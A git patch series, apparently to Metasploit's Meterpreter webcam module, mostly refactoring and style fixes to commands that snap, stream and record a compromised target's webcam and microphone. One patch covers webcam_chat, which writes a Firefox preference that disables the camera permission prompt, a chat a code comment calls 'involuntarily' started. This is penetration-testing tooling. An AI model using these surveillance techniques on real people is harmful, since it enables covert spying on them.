From 9aaa2ec8cc5d266c7c1503e78cf616a3e57bfbb2 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 27 Apr 2015 16:23:35 -0500 Subject: [PATCH 01/11] First pass at making webcam_chat more functional --- lib/rex/compat.rb | 9 +++++---- .../post/meterpreter/extensions/stdapi/webcam/webcam.rb | 2 ++ 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/rex/compat.rb b/lib/rex/compat.rb index cc6656715b..46d61dae15 100644 --- a/lib/rex/compat.rb +++ b/lib/rex/compat.rb @@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/') app_data = ENV['APPDATA'] paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe" - paths.each do |p| - if File.exists?(p) - args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" + paths.each do |path| + if File.exists?(path) + args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : "" system("#{path} #{args} #{url}") found_browser = true break @@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/') end else if defined? ENV['PATH'] - ['chrome', 'chromium', 'firefox', 'opera'].each do |browser| + ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser| ENV['PATH'].split(':').each do |path| browser_path = "#{path}/#{browser}" if File.exists?(browser_path) args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : "" system("#{browser_path} #{args} #{url} &") found_browser = true + break end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 31a5c1ef6e..2ca534943b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -103,7 +103,9 @@ class Webcam case client.platform when /win/ paths = [ + "Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", "Program Files\\Google\\Chrome\\Application\\chrome.exe", + "Program Files (x86)\\Mozilla Firefox\\firefox.exe", "Program Files\\Mozilla Firefox\\firefox.exe" ] From 37ac5f0ee370edeaddc0ea7d9c1ac50f430c3889 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 30 Jun 2015 17:28:21 -0500 Subject: [PATCH 02/11] Use environment variables for Program Files Done, thanks @Meatballs1 ! --- .../meterpreter/extensions/stdapi/webcam/webcam.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 2ca534943b..7e063e744b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -103,10 +103,12 @@ class Webcam case client.platform when /win/ paths = [ - "Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", - "Program Files\\Google\\Chrome\\Application\\chrome.exe", - "Program Files (x86)\\Mozilla Firefox\\firefox.exe", - "Program Files\\Mozilla Firefox\\firefox.exe" + "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe", + "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", + "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] drive = session.sys.config.getenv("SYSTEMDRIVE") From 4e8cc47299c778ac68a970955829690b7790a9d2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 16:19:16 -0500 Subject: [PATCH 03/11] remove superfluous SYSTEMDRIVE path --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 7e063e744b..1e54b650df 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -111,9 +111,6 @@ class Webcam "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] - drive = session.sys.config.getenv("SYSTEMDRIVE") - paths = paths.map { |p| "#{drive}\\#{p}" } - # Old chrome path user_profile = client.sys.config.getenv("USERPROFILE") paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" From f96236d61f1c4d005e8fb942896be4193eb78a0d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 16:21:34 -0500 Subject: [PATCH 04/11] remove redundant to_s and RuntimeError --- .../extensions/stdapi/webcam/webcam.rb | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 1e54b650df..2d8645b53a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -70,7 +70,7 @@ class Webcam remote_browser_path = get_webrtc_browser_path if remote_browser_path.blank? - raise RuntimeError, "Unable to find a suitable browser on the target machine" + raise "Unable to find a suitable browser on the target machine" end ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) @@ -163,8 +163,8 @@ class Webcam write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to initialize the interface on the target machine" + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to initialize the interface on the target machine" end # @@ -181,8 +181,8 @@ class Webcam begin write_file(profile_path, setting) rescue ::Exception => e - elog("webcam_chat failed: #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to write the necessary setting for Firefox." + elog("webcam_chat failed: #{e.class} #{e}") + raise "Unable to write the necessary setting for Firefox." end args = "-p #{profile_name}" end @@ -192,11 +192,14 @@ class Webcam begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to start the remote browser: #{e.message}" + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to start the remote browser: #{e.message}" end end - end - -end; end; end; end; end; end +end +end +end +end +end +end From 6977a12dd83089041cf79b49649858381508c8b4 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 16:39:17 -0500 Subject: [PATCH 05/11] whitespace fixups --- .../extensions/stdapi/webcam/webcam.rb | 30 ++++++++----------- 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 2d8645b53a..198e09625e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -#require 'rex/post/meterpreter/extensions/process' - module Rex module Post module Meterpreter @@ -15,7 +13,6 @@ module Webcam # ### class Webcam - include Msf::Post::Common include Msf::Post::File include Msf::Post::WebRTC @@ -31,9 +28,9 @@ class Webcam def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] - response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value - } + end names end @@ -49,11 +46,11 @@ class Webcam request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) - response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end def webcam_stop - client.send_request( Packet.create_request( 'webcam_stop' ) ) + client.send_request(Packet.create_request('webcam_stop')) true end @@ -67,13 +64,13 @@ class Webcam offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) - remote_browser_path = get_webrtc_browser_path + remote_browser_path = webrtc_browser_path if remote_browser_path.blank? - raise "Unable to find a suitable browser on the target machine" + fail "Unable to find a suitable browser on the target machine" end - ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end @@ -83,21 +80,19 @@ class Webcam request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) - response.get_tlv( TLV_TYPE_AUDIO_DATA ).value + response.get_tlv(TLV_TYPE_AUDIO_DATA).value end attr_accessor :client - private - # # Returns a browser path that supports WebRTC # # @return [String] # - def get_webrtc_browser_path + def webrtc_browser_path found_browser_path = '' case client.platform @@ -125,7 +120,7 @@ class Webcam when /osx|bsd/ [ '/Applications/Google Chrome.app', - '/Applications/Firefox.app', + '/Applications/Firefox.app' ].each do |browser_path| if file?(browser_path) found_browser_path = browser_path @@ -141,7 +136,6 @@ class Webcam found_browser_path end - # # Creates a video chat session as an offerer... involuntarily :-p # Windows targets only. @@ -177,7 +171,7 @@ class Webcam profile_name = Rex::Text.rand_text_alpha(8) o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip - setting = %Q|user_pref("media.navigator.permission.disabled", true);| + setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) rescue ::Exception => e @@ -187,7 +181,7 @@ class Webcam args = "-p #{profile_name}" end - exec_opts = {'Hidden' => false, 'Channelized' => false} + exec_opts = { 'Hidden' => false, 'Channelized' => false } begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) From dfd00ad50b121802dfca65a82e6c431633e86bac Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 16:42:33 -0500 Subject: [PATCH 06/11] prefer catching RuntimeError --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 198e09625e..683c1173e2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -156,7 +156,7 @@ class Webcam begin write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) - rescue ::Exception => e + rescue RuntimeError => e elog("webcam_chat failed. #{e.class} #{e}") raise "Unable to initialize the interface on the target machine" end @@ -174,7 +174,7 @@ class Webcam setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) - rescue ::Exception => e + rescue RuntimeError => e elog("webcam_chat failed: #{e.class} #{e}") raise "Unable to write the necessary setting for Firefox." end @@ -185,7 +185,7 @@ class Webcam begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) - rescue ::Exception => e + rescue RuntimeError => e elog("webcam_chat failed. #{e.class} #{e}") raise "Unable to start the remote browser: #{e.message}" end From 573f2b51a5e6b52b462290c649f2a7f9051a0a1d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 16:51:43 -0500 Subject: [PATCH 07/11] fix some crashes running webcam commands on webcamless machines --- .../command_dispatcher/stdapi/webcam.rb | 26 +++++++++++++------ 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 6ac989c899..d144324f54 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -70,6 +70,11 @@ class Console::CommandDispatcher::Stdapi::Webcam end def cmd_webcam_snap(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true @@ -101,6 +106,7 @@ class Console::CommandDispatcher::Stdapi::Webcam view = false if ( val =~ /^(f|n|0)/i ) end } + begin wc_list << client.webcam.webcam_list rescue @@ -109,10 +115,11 @@ class Console::CommandDispatcher::Stdapi::Webcam begin print_status("Starting...") client.webcam.webcam_start(index) + webcam_started = true data = client.webcam.webcam_get_frame(quality) print_good("Got frame") ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started print_status("Stopped") end @@ -163,12 +170,17 @@ class Console::CommandDispatcher::Stdapi::Webcam begin print_status("Webcam chat session initialized.") client.webcam.webcam_chat(server) - rescue RuntimeError => e + rescue RuntimeError => e print_error(e.message) end end def cmd_webcam_stream(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + print_status("Starting...") stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" @@ -264,7 +276,7 @@ Status : end if view print_status("Opening player at: #{player_path}") - Rex::Compat.open_file(player_path) + Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end @@ -272,6 +284,7 @@ Status : print_status("Streaming...") begin client.webcam.webcam_start(index) + webcam_started = true ::Timeout.timeout(duration) { while client do data = client.webcam.webcam_get_frame(quality) @@ -285,7 +298,7 @@ Status : } rescue ::Timeout::Error ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started end print_status("Stopped") @@ -333,11 +346,8 @@ Status : end return true end - -end - end end end end - +end From 90a46fbcd0f6faf03fb02be08dbe50bc2aaf1076 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 17:58:24 -0500 Subject: [PATCH 08/11] update style issues --- .../command_dispatcher/stdapi/webcam.rb | 155 ++++++++---------- 1 file changed, 72 insertions(+), 83 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index d144324f54..16af63751b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -79,7 +79,6 @@ class Console::CommandDispatcher::Stdapi::Webcam quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -87,14 +86,14 @@ class Console::CommandDispatcher::Stdapi::Webcam "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] - ) + ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line( "Usage: webcam_snap [options]\n" ) - print_line( "Grab a frame from the specified webcam." ) - print_line( webcam_snap_opts.usage ) + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) return when "-i" index = val.to_i @@ -103,39 +102,30 @@ class Console::CommandDispatcher::Stdapi::Webcam when "-p" path = val when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + view = false if val =~ /^(f|n|0)/i end } begin - wc_list << client.webcam.webcam_list - rescue + print_status("Starting...") + client.webcam.webcam_start(index) + webcam_started = true + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop if webcam_started + print_status("Stopped") end - if wc_list.length > 0 - begin - print_status("Starting...") - client.webcam.webcam_start(index) - webcam_started = true - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - ensure - client.webcam.webcam_stop if webcam_started - print_status("Stopped") - end - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( path ) - print_line( "Webcam shot saved to: #{path}" ) - Rex::Compat.open_file( path ) if view + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - return true - else - print_error("No webcams where found") - return false + path = ::File.expand_path(path) + print_line("Webcam shot saved to: #{path}") + Rex::Compat.open_file(path) if view end + true end def cmd_webcam_chat(*args) @@ -149,17 +139,17 @@ class Console::CommandDispatcher::Stdapi::Webcam webcam_chat_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner"], "-s" => [ false, "WebSocket server" ] - ) + ) - webcam_chat_opts.parse( args ) { | opt, idx, val | + webcam_chat_opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line( "Usage: webcam_chat [options]\n" ) - print_line( "Starts a video conversation with your target." ) - print_line( "Browser Requirements:") - print_line( "Chrome: version 23 or newer" ) - print_line( "Firefox: version 22 or newer" ) - print_line( webcam_chat_opts.usage ) + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) return when "-s" server = val.to_s @@ -188,7 +178,6 @@ class Console::CommandDispatcher::Stdapi::Webcam quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -200,30 +189,30 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) { |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_stream [options]\n" ) - print_line( "Stream from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-d" - duration = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-s" - stream_path = val - when "-t" - player_path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_stream [options]\n") + print_line("Stream from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end } print_status("Preparing player...") - html = %Q| + html = %| @@ -285,17 +274,17 @@ Status : begin client.webcam.webcam_start(index) webcam_started = true - ::Timeout.timeout(duration) { + ::Timeout.timeout(duration) do while client do data = client.webcam.webcam_get_frame(quality) if data ::File.open(stream_path, 'wb') do |f| - f.write(data) + f.write(data) end data = nil end end - } + end rescue ::Timeout::Error ensure client.webcam.webcam_stop if webcam_started @@ -312,39 +301,39 @@ Status : record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path("[randomname].wav")}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) - record_mic_opts.parse( args ) { | opt, idx, val | + record_mic_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: record_mic [options]\n" ) - print_line( "Records audio from the default microphone." ) - print_line( record_mic_opts.usage ) - return - when "-d" - duration = val.to_i - when "-f" - path = val - when "-p" - play = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: record_mic [options]\n") + print_line("Records audio from the default microphone.") + print_line(record_mic_opts.usage) + return + when "-d" + duration = val.to_i + when "-f" + path = val + when "-p" + play = false if val =~ /^(f|n|0)/i end - } + end print_status("Starting...") data = client.webcam.record_mic(duration) print_status("Stopped") - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - path = ::File.expand_path( path ) - print_line( "Audio saved to: #{path}" ) - Rex::Compat.play_sound( path ) if play + path = ::File.expand_path(path) + print_line("Audio saved to: #{path}") + Rex::Compat.play_sound(path) if play end - return true + true end end end From 54dcd312f69418f8109317bc4880330b49442e8b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 24 Aug 2015 18:07:31 -0500 Subject: [PATCH 09/11] more style issues resolved --- .../command_dispatcher/stdapi/webcam.rb | 92 +++++++++---------- 1 file changed, 44 insertions(+), 48 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 16af63751b..447097cd2b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -12,7 +12,6 @@ module Ui # ### class Console::CommandDispatcher::Stdapi::Webcam - Klass = Console::CommandDispatcher::Stdapi::Webcam include Console::CommandDispatcher @@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], - "record_mic" => [ "webcam_audio_record" ], + "record_mic" => [ "webcam_audio_record" ] } - all.delete_if do |cmd, desc| + all.delete_if do |cmd, _desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end - del end @@ -58,14 +56,13 @@ class Console::CommandDispatcher::Stdapi::Webcam end def cmd_webcam_list - begin - client.webcam.webcam_list.each_with_index { |name, indx| - print_line("#{indx + 1}: #{name}") - } - return true - rescue + if client.webcam.webcam_list.length == 0 print_error("No webcams were found") - return false + return + end + + client.webcam.webcam_list.each_with_index do |name, indx| + print_line("#{indx + 1}: #{name}") end end @@ -86,25 +83,25 @@ class Console::CommandDispatcher::Stdapi::Webcam "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ], "-p" => [ true, "The JPEG image path (Default: '#{path}')" ], "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] - ) + ) - webcam_snap_opts.parse(args) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line("Usage: webcam_snap [options]\n") - print_line("Grab a frame from the specified webcam.") - print_line(webcam_snap_opts.usage) - return - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-p" - path = val - when "-v" - view = false if val =~ /^(f|n|0)/i + when "-h" + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } + end begin print_status("Starting...") @@ -139,23 +136,22 @@ class Console::CommandDispatcher::Stdapi::Webcam webcam_chat_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner"], "-s" => [ false, "WebSocket server" ] - ) + ) - webcam_chat_opts.parse(args) { | opt, idx, val | + webcam_chat_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line("Usage: webcam_chat [options]\n") - print_line("Starts a video conversation with your target.") - print_line("Browser Requirements:") - print_line("Chrome: version 23 or newer") - print_line("Firefox: version 22 or newer") - print_line(webcam_chat_opts.usage) - return - when "-s" - server = val.to_s + when "-h" + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) + return + when "-s" + server = val.to_s end - } - + end begin print_status("Webcam chat session initialized.") @@ -172,7 +168,7 @@ class Console::CommandDispatcher::Stdapi::Webcam end print_status("Starting...") - stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 1800 quality = 50 @@ -189,7 +185,7 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse(args) { |opt, _idx, val| + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt when "-h" print_line("Usage: webcam_stream [options]\n") @@ -209,7 +205,7 @@ class Console::CommandDispatcher::Stdapi::Webcam when "-v" view = false if val =~ /^(f|n|0)/i end - } + end print_status("Preparing player...") html = %| @@ -294,14 +290,14 @@ Status : end def cmd_record_mic(*args) - path = Rex::Text.rand_text_alpha(8) + ".wav" - play = true - duration = 1 + path = Rex::Text.rand_text_alpha(8) + ".wav" + play = true + duration = 1 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path("[randomname].wav")}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) From fe69fc84ded51cf38332aab0333985dfc83bf68b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 31 Aug 2015 13:38:08 -0500 Subject: [PATCH 10/11] expand the path environment variables before executing --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 683c1173e2..0dcb281df7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -112,7 +112,7 @@ class Webcam paths.each do |browser_path| if file?(browser_path) - found_browser_path = browser_path + found_browser_path = client.fs.file.expand_path(browser_path) break end end From a51d3df7536c785122ad19a7c22d86b73136ae95 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 31 Aug 2015 14:18:55 -0500 Subject: [PATCH 11/11] typo --- data/webcam/offerer.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html index 8bd7cb5a48..eaa58ebbcf 100644 --- a/data/webcam/offerer.html +++ b/data/webcam/offerer.html @@ -169,7 +169,7 @@ userid: 'self', stream: stream }); - + callback(stream); }); } @@ -178,7 +178,7 @@
- You peer + Your peer
@@ -199,4 +199,4 @@ - \ No newline at end of file +